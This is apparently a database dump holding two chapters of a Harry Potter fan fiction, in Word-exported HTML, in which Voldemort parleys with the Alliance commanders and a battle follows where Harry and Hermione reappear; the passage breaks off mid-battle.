	(123, 17, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n17: The Counter Invasion\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Within five days,\nthe Alliance armada landed on the coast of Durmstrang.&nbsp; There was no problem landing the armies of\nall four kingdoms on the snow-covered beach.&nbsp;\nNeville blew his trumpet as each commander walked off the flagship.&nbsp; By the time Ron came off the ship however,\nhe had grown so fed up with Neville&#8217;s trumpet that he yanked it out of\nNeville&#8217;s hands and blasted it into pieces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Trevor!&#8221; cried\nNeville looking teary eyed.&nbsp; He cradled\nthe pieces of the trumpet and started crying.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Sorry about that,&#8221;\nsaid Ron.&nbsp; He decided that he didn&#8217;t\nwant to know why Neville called his trumpet &#8220;Trevor&#8221;.&nbsp; Ron said, <i>&#8220;Reparo.&#8221;</i> and the trumpet were instantly fixed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Alliance\nmilitaries proceeded to march toward the royal capitol of Durmstrang.&nbsp; With the Griffin Riders circling in the air\nabove them, they didn&#8217;t need to worry about any surprise attacks similar to the\none they had sprung on the Durmstrang army.&nbsp;\nOf course, the Alliance had already crushed the bulk of the Durmstrang\nmilitary in the Battle of Little Hangleton and they were positive that there\nwouldn&#8217;t be too much of a threat in the soldiers who had remained in\nDurmstrang.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As they neared the\ncapitol however, the Alliance soon learned just how wrong they were.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Right outside of\nthe city was an army.&nbsp; And not just any\narmy, but the largest army of dark powers ever assembled.&nbsp; Besides men, the army was composed of orcs,\ntrolls, dementors, dragons (mostly fireballs and vipertooths), and monstrous\ncreatures that could only be demons.&nbsp;\nThese demons were about the size of trolls, had black skin, heads shaped\nlike an ox&#8217;s with razor sharp teeth, two golden horns on their head, black full\nplated armor, and were carrying maces and war hammers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Yet the most\nsurprising thing of all was that this army was not rushing out to attack the\nAlliance armies.&nbsp; Rather, they were\nflying the green flag, which meant that their commander wished to speak with\nthe commanders of the opposing side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Do you suppose\nit&#8217;s a trick?&#8221; whispered Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore studied\nthe opposing side for a minute before saying, &#8220;I don&#8217;t think so.&nbsp; I am sure that the other side is planning\nsomething but I believe that the commander of the other side truly does wish to\nspeak with us before we fight.&#8221;&nbsp; The\nother commanders nodded their acknowledgement.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Dumbledore,\nSirius, Remus, Ron (representing Gryffindor in Harry&#8217;s absence), Draco,\nPenelope, and Justin made their way to the center of the snow-covered field\nwhere the two armies were glaring each other from each side.&nbsp; Neville (who always went ahead of the\ncommanders as herald) and Ginny (who wanted to stick by Ron) came with them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As soon as the\nAlliance commanders had made it to the center of the field, the commander of\nthe dark forces also made his way to the center on foot.&nbsp; As soon as he drew close enough to them to\nbe recognized, all of the Alliance commanders gasped in horror.&nbsp; For the commander was none other than Lord\nVoldemort himself!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Alliance\ncommanders stared at the Dark Lord who had once held their homeland in an iron\ngrip of terror and whom they had believed to had been dead for the past two\nyears.&nbsp; Terror coursed through their\nbodies, and their faces paled as their eyes went wide.&nbsp; Voldemort simply grinned at them.&nbsp; &#8220;Oh come now, surely it cannot be that much\nof a surprise,&#8221; he said.&nbsp; &#8220;You&#8217;ve\nobviously figured out that my Death Eaters had returned if you have even\nbothered coming here.&nbsp; To imagine that I\ntoo had returned shouldn&#8217;t be that much of a stretch.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The commanders\nfinally snapped out of their stupor.&nbsp;\nRon was the first one to speak, &#8220;How could you be alive?!&nbsp; I saw you die with my own eyes!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, and we can\ntrust your eyes?&#8221; mumbled Draco despite the fact that he was visibly shaken by\nVoldemort&#8217;s appearance.&nbsp; For once, Ron\nignored him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What you saw was\nmy old body being destroyed.&nbsp; Not I\nmyself being destroyed,&#8221; said Voldemort with a pensive look.&nbsp; &#8220;Lets just say that my curse halved the\npower of that patronus.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You engineered\nthis whole mess, didn&#8217;t you?&#8221; said Dumbledore.&nbsp;\nHis eyes had lost their twinkle and he was radiating a sense of extreme\npower that could make any dark force quell in fear.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, well spotted\nAlbus,&#8221; drawled Voldemort, almost lazily.&nbsp;\n&#8220;Of course I&#8217;m the one who engineered this whole ordeal.&nbsp; I&#8217;ve been working on it for the past two\nyears, ever since I was exiled from Magiterran.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;But why?&#8221;\ndemanded Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I believe I can\nanswer that,&#8221; said Dumbledore.&nbsp; &#8220;This is\nall an elaborate scheme to get a hold of the two rings isn&#8217;t it?&nbsp; Those rings nearly destroyed you\nbefore.&nbsp; So you set up this whole scheme\nin an attempt to get them out of the picture.&nbsp;\nWithout, the two rings, nothing could ever destroy you, and you&#8217;d\neventually grow powerful enough to conquer the Alliance militarily again.&nbsp; Is that correct?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort\ngrinned.&nbsp; &#8220;I see that there is no\nfooling you, Dumbledore,&#8221; he said.&nbsp;\n&#8220;That is correct.&nbsp; Viktor Krum\nalways did have an infatuation toward Queen Hermione ever since he had heard\nrumors of the outcome of the War in Magiterran.&nbsp; I simply used that infatuation he had and twisted into mad lust\nand desire, with a little help of my modified Imperius Curse.&nbsp; And in that way, I placed my remaining Death\nEaters in control of this land.&nbsp; I\ncouldn&#8217;t kidnap the Queen from Godric&#8217;s Hollow palace where she is much too\nprotected.&nbsp; However, the right\nopportunity arrived when Potter&#8217;s twins were born.&nbsp; Being newly born, the protection wards hadn&#8217;t been fully\nimplemented yet to protect the twins from being kidnapped by my Neo Death\nEaters.&nbsp; I used the twins to lure their\nmudblood mother out of the palace and into our hands.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;And get a hold of\nthe Ring of the Phoenix,&#8221; hissed Sirius.&nbsp;\nVoldemort smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;After that, the\nrest was easy,&#8221; continued the Dark Lord.&nbsp;\n&#8220;Harry Potter would walk through fire to get to his wife.&nbsp; Therefore, in the process of luring him to\nme, I also get a hold of the Ring of the Lion.&nbsp;\nInvading Magiterran was just something extra I thought.&nbsp; The Alliance was at its weakest point with\nPotter away and I just couldn&#8217;t resist.&#8221;&nbsp;\nVoldemort laughed his high-pitched laugh, which made the Alliance\ncommanders shudder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;And so it comes\ndown to this,&#8221; said Dumbledore.&nbsp; &#8220;One\nlast battle where both sides gamble everything that they have for victory.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort\ngrinned.&nbsp; &#8220;Oh, but you do realize that\nyou cannot destroy me without the rings.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ah, but then the\nquestion is where are those rings?&#8221; said Dumbledore.&nbsp; He and Voldemort stared into each other&#8217;s eyes for minutes,\nneither one blinking.&nbsp; It appeared that\nthey were sizing each other up.&nbsp;\nFinally, Voldemort smirked and started walking back towards his army.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey, just answer\none more question,&#8221; shouted Sirius.&nbsp;\n&#8220;Why did you even bother telling us all this?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort turned\nto him and grinned.&nbsp; &#8220;I just wanted you\nto know who it was that destroyed all of you.&#8221;&nbsp;\nHe laughed as he walked back to his army.&nbsp; The Alliance commanders also tuned around and headed back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Why were\nDumbledore and You-know-who sizing up each other like that?&#8221; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Because,&#8221;\nanswered Remus, &#8220;we don&#8217;t know what happened to Harry and Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry and\nHermione haven&#8217;t returned to us so we don&#8217;t have the two rings.&nbsp; But there is a possibility that the Dark\nLord doesn&#8217;t know that; he may believe that we have the means of destroying him\nwith us.&nbsp; On the other hand, we don&#8217;t\nknow if Harry was also captured and the rings were lost meaning that the Dark\nside is laughing at us right now as we prepare a hopeless battle.&nbsp; Whichever way, we don&#8217;t know what happened\nto the rings and there is a possibility that the other side doesn&#8217;t know\neither.&nbsp; That&#8217;s why they were studying\neach other like that; they were trying to figure out what the other knew.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I think I get\nit,&#8221; said Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, as soon\nas the respective commanders had made it back to their side, the dark forces\ngave out a huge battle cry!&nbsp; Fully\nprepared, the Alliance armies also raised a great battle cry.&nbsp; Before, a single snowflake had fallen, the\ntwo sides rushed to the center of the field, their weapons drawn and\nready.&nbsp; The battle of snow-covered\nfields had begun!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N So, did you\nlike this chapter?&nbsp; R/R and tell\nme.&nbsp; Next: It&#8217;s the final battle and the\nclimax of the saga.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 18, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n18: The Battle of Snow-Covered Fields\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a mighty cry,\nthe two sides charged at each other.&nbsp;\nFighting was fierce as Alliance soldiers hacked at orcs, trolls, and\nDurmstrang soldiers as metal and wood flashed.&nbsp;\nBlades hacked, arrows flew, and maces crashed down on armor as red blood\nspilt on the white snow.&nbsp; In the air,\nGriffin riders took on dragons as lightning and flame struck each other&#8217;s\nopponents down.&nbsp; Mage Knights fired\nPatronuses at dementors who tried to suck away morale from the Alliance.&nbsp; Unfortunately, the fighting was much too\nfierce for the Mage Knights to get together and create a patronus river like\nthey did at the Battle of Little Hangleton.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The Alliance also\nhad a few phoenixes flying around.&nbsp; The\nmagical birds, led by Dumbledore&#8217;s Fawkes, flew around singing their enchanting\nsongs which gave courage and hope to the Alliance soldiers: the direct opposite\nof the demntors&#8217; effects.&nbsp; Their magical\ntears also healed wounded soldiers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hagrid had tried\nto join the Grifin Riders in the air.&nbsp;\nUnfortunately, due to his tremendous weight, Buckbeak could only make\nfifteen feet high leaps before he came crashing down.&nbsp; They usually managed to crush an enemy soldier in the process\nhowever.&nbsp; And Hagrid also bashed a\nnumber of enemies with his monstrous war hammer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron had his\nmoments as he decapitated an orc.&nbsp; He\ndeflected the blade of a Durmstrang soldier and ran him through.&nbsp; Before he could pull his blade out, another\norc slashed at him from behind!&nbsp; Before\nthe blade could slice him, Ron placed a swift kick at the orc&#8217;s face.&nbsp; He then spun around and stabbed the orc.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron also caught\nsight of Ginny whirling a discarded flail she had picked up.&nbsp; With her fiery red hair and the twirling\nsword and flail, Ron decided that he was exceptionally glad that he wasn&#8217;t on the\nwrong side of his sister.&nbsp; She looked\nlike the living incarnation of fire.&nbsp;\nWhat Ron didn&#8217;t realize was that he looked quite similar swinging his\nsword around and beating off his enemies.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Things were not\ngoing so well for the Alliance however, if only for one reason.&nbsp; At the head of his dark forces stood\nVoldemort, his emerald encrusted sword flinging Alliance forces away from\nhim.&nbsp; No soldier, not even the Mage\nKnights stood a chance against the all-powerful Dark Lord, and many a brave\nsoldier died trying to bring him down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort was like\nan impenetrable wall or perhaps an impassable mountain.&nbsp; Just the simplest glare from him paralyzed\nAlliance soldiers with terror.&nbsp; The\nflashing of his red eyes signaled death for his enemies.&nbsp; And his high-pitched laugh rang with the\nforeboding of doom.&nbsp; Ron couldn&#8217;t but\nhelp imagining that Voldemort was many times more powerful than when he last\nfought him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Is that all you\nhave to offer me?&#8221; said Voldemort with a laugh.&nbsp; &#8220;I would&#8217;ve expected more from Mage Knights.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron boiled with\nanger and started making his way to the Dark Lord.&nbsp; Before he could get there, Draco had leapt at Voldemort, flailing\nhis sword!&nbsp; Voldemort simply swung his\nsword out and the two blades collided.&nbsp;\nIn an instant, Draco was flung away some fifteen feet into the air and\nlanded in the midst of Alliance soldiers some forty feet away.&nbsp; Voldemort continued flinging away Mage\nKnights with just a flick of his sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron finally made\nit to the Dark Lord.&nbsp; He yelled, <i>&#8220;Expelliarmus!&#8221;</i>\nand tried to disarm him.&nbsp; Voldemort\nsimply blocked the spell by catching it in his raised left hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I would&#8217;ve though\nthat you of all people would know that you can&#8217;t stop me that easily,&#8221; he said\nwith his malevolent grin.&nbsp; Ron simply\ngrowled and charged at the Dark Lord.&nbsp;\nVoldemort twirled his sword and sent Ron flying into the midst of a\nbattalion of orcs!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Before Ron could\nget back to his feet, orcs were upon him.&nbsp;\nRon saw his life flash before his eyes, and everything seemed to go in\nslow motion.&nbsp; &#8216;I&#8217;m sorry Margaret,&#8217; he\nthought.&nbsp; &#8216;I&#8217;m so sorry.&#8217;&nbsp; Ron closed his eyes as the orc blades\nflashed down to him.&nbsp; Ron braced himself\nfor the end&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Suddenly, a female\nGryffindor Mage Knight leapt in front of Ron.&nbsp;\nShe proceeded to stab and decapitate the orc that was about to run Ron\nthrough.&nbsp; She then beat off all the\nother orcs with incredible sword skills.&nbsp;\nFinally, after all the orcs had been killed, the Mage Knight turned to\nRon.&nbsp; Ron gasped and his eyes bulged as\nhe recognized the Mage Knight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione?! &nbsp;No bloody way!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well of course\nits me,&#8221; said Hermione with a sweet smile.&nbsp;\n&#8220;And its nice to see you again as well, Ron.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron didn&#8217;t care\nthat they were in the middle of a battlefield.&nbsp;\nHe leapt up with a whoop of joy and hugged Hermione fiercely.&nbsp; Hermione chuckled as she hugged him back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Dammit, I missed\nyou,&#8221; said Ron after they pulled apart.&nbsp;\nHe studied the armor Hermione was wearing.&nbsp; &#8220;You&#8217;re a Mage Knight?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Apparently.&#8221;&nbsp; Hermione would&#8217;ve said more if Ginny hadn&#8217;t\nsuddenly come forward and grabbed her in a bear hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, Hermione I&#8217;m\nso glad you&#8217;re alright!&#8221; she said, a few tears glistening in her eyes.&nbsp; Hermione hugged Ginny back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Voldemort soon\nnoticed that Hermione was in the battlefield.&nbsp;\nHe didn&#8217;t have time to contemplate the turn of events however when\nanother Mage Knight leapt from behind him and swing his sword down.&nbsp; Voldemort whipped around and his blade\ncaught the blade of Sir Harry Potter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry Potter,&#8221;\nhissed Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry walked up to\nthe Dark Lord with a gleam in his emerald green eyes.&nbsp; &#8220;Voldemort.&#8221;&nbsp; Harry swung\nhis sword forward.&nbsp; Voldemort wasn&#8217;t\nfast enough to deflect the blow.&nbsp;\nAlthough the blade couldn&#8217;t penetrate his skin, the Dark Lord still\nstumbled backwards.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p 